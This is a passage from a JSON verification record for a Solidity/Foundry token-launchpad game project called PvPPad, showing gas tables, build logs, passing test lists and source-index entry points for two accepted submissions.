|\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 107   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 121   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 125   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 109   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 116   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | mint           | 103   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 117   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 122   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 97    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 214   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 108   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 218   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 13\n  Bound result 3\n  Bound result 3\n  Bound result 2696\n  Bound result 10582\n  Bound result 4\n  Bound result 600\n  Bound result 23\n  Bound result 9\n  Bound result 0\n  Bound result 4\n  Bound result 499999999999998001\n  Bound result 367\n  Bound result 190\n  Bound result 500000000000000000\n  Bound result 2995000000000001394\n  Bound result 515\n  Bound result 181\n  Bound result 256\n  Bound result 179\n  Bound result 14067\n  Bound result 130\n  Bound result 4\n  Bound result 3\n  Bound result 318188385104982122\n  Bound result 9\n  Bound result 12\n  Bound result 280\n  Bound result 272\n  Bound result 8\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.87s (1.85s CPU time)\n\nRan 6 test suites in 1.87s (4.47s CPU time): 98 tests passed, 0 failed, 0 skipped (98 total tests)\n","passed":true},{"durationMs":45,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.mint()\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.startGenesis()\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":125,\"docs/AUDIT.md\":80,\"docs/TEST-REPORT.md\":27,\"docs/VERIFY.md\":30,\"foundry.toml\":22,\"remappings.txt\":1,\"src/KingOfThePad.sol\":113,\"src/PadGame.sol\":464,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":320,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":228,\"src/interfaces/Interfaces.sol\":99,\"src/libs/PadLib.sol\":108,\"test/Adversarial.t.sol\":709,\"test/Base.t.sol\":144,\"test/Fuzz.t.sol\":217,\"test/Game.t.sol\":532,\"test/Invariants.t.sol\":486,\"test/King.t.sol\":182,\"test/Pad.t.sol\":220,\"test/mocks/Mocks.sol\":209},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"ebaa25d45eaff72b7447d23d8857923047aadc53a70d22ccc204ca025821a446","verifiedTreeHash":"f3cb287e2296ebeb992874d5e61d2652768b303e","verifierVersion":"0.1.0+7129bf9d"},{"checks":[{"durationMs":22360,"exitCode":0,"name":"build","output":"Compiling 32 files with Solc 0.8.26\nSolc 0.8.26 finished in 22.29s\nCompiler run successful!\n","passed":true},{"durationMs":130,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1053996)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 325006)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 3991258)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1029140)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 1097537)\n[PASS] test_distributeWithoutKingEscrows() (gas: 590038)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 7932814)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 552637)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 8310529)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 980862)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1243856)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3467126)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 33014)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 272016)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 26.60ms (17.03ms CPU time)\n\nRan 36 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 970405)\n[PASS] test_claimableWinner() (gas: 1660416)\n[PASS] test_conservationOfEth() (gas: 3594014)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 41306)\n[PASS] test_deadImpCannotRingTheBell() (gas: 1262832)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 1236022)\n[PASS] test_deathAndAllDeadEnd() (gas: 820422)\n[PASS] test_expiredRollMovesTowardZero() (gas: 1331699)\n[PASS] test_failedPushBecomesClaimable() (gas: 866209)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 3229705)\n[PASS] test_finalizeRanksAndPays() (gas: 2886893)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 852280)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 85866437)\n[PASS] test_finalizerFeeCapped() (gas: 9387616)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 860825)\n[PASS] test_firstMintStartsSignup() (gas: 283014)\n[PASS] test_fundPotOnlyPad() (gas: 43700)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 12265469)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 2166235)\n[PASS] test_graduateOnlyFromGame() (gas: 71102)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 5494213)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 607350)\n[PASS] test_hardEndAt60Minutes() (gas: 2566914)\n[PASS] test_mintCapsAt200() (gas: 30726676)\n[PASS] test_mintOnePerWalletAndSignupWindow() (gas: 499864)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 6882609)\n[PASS] test_resolveBatchIsEight() (gas: 4524493)\n[PASS] test_rollAfterOwnBellReverts() (gas: 1176953)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 990622)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 960339)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 827119)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 609829)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 542715)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 1837873)\n[PASS] test_tokenLockedUntilGraduation() (gas: 698523)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 1687771)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 47.03ms (100.16ms CPU time)\n\nRan 20 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 120820)\n[PASS] test_bindingsAreOneShot() (gas: 87724)\n[PASS] test_carryPotFundsNextLaunch() (gas: 9749506)\n[PASS] test_closedPadRevertsEverything() (gas: 203325)\n[PASS] test_deployGasUnderBudget() (gas: 19902)\n[PASS] test_deployHookOnlyByPad() (gas: 30999)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 12036697)\n[PASS] test_fundGamesOnlyKing() (gas: 39635)\n[PASS] test_hookRejectsForeignInitialize() (gas: 3779369)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9881161)\n[PASS] test_launchValidatesStrings() (gas: 9024083)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 3710649)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 3741936)\n[PASS] test_openPadOnlyOnce() (gas: 3717732)\n[PASS] test_openPadRejectsBadSalt() (gas: 213430)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 3525966)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 3997491)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 26965948)\n[PASS] test_templatesCannotBeInitialized() (gas: 131492)\n[PASS] test_upkeepForOnlyGames() (gas: 169213)\nSuite result: ok. 20 passed; 0 failed; 0 skipped; finished in 46.99ms (162.75ms CPU time)\n\nRan 3 test suites in 47.83ms (120.62ms CPU time): 70 tests passed, 0 failed, 0 skipped (70 total tests)\n","passed":true},{"durationMs":45,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.mint()\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":138,\"docs/AUDIT.md\":146,\"docs/TEST-REPORT.md\":30,\"docs/VERIFY.md\":30,\"foundry.toml\":22,\"launch.json\":37,\"remappings.txt\":1,\"src/KingOfThePad.sol\":113,\"src/PadGame.sol\":522,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":350,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":261,\"src/interfaces/Interfaces.sol\":105,\"src/libs/PadLib.sol\":108,\"test/Base.t.sol\":144,\"test/Game.t.sol\":763,\"test/King.t.sol\":304,\"test/Pad.t.sol\":280,\"test/mocks/Mocks.sol\":248},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"f39b5379d2a6ab713ffd702ca286f251aa3524d92656c54692fd10b442455b2c","verifiedTreeHash":"b66de5a9401613bd38440a0809d7da765fb9c23a","verifierVersion":"0.1.0+7129bf9d"}]}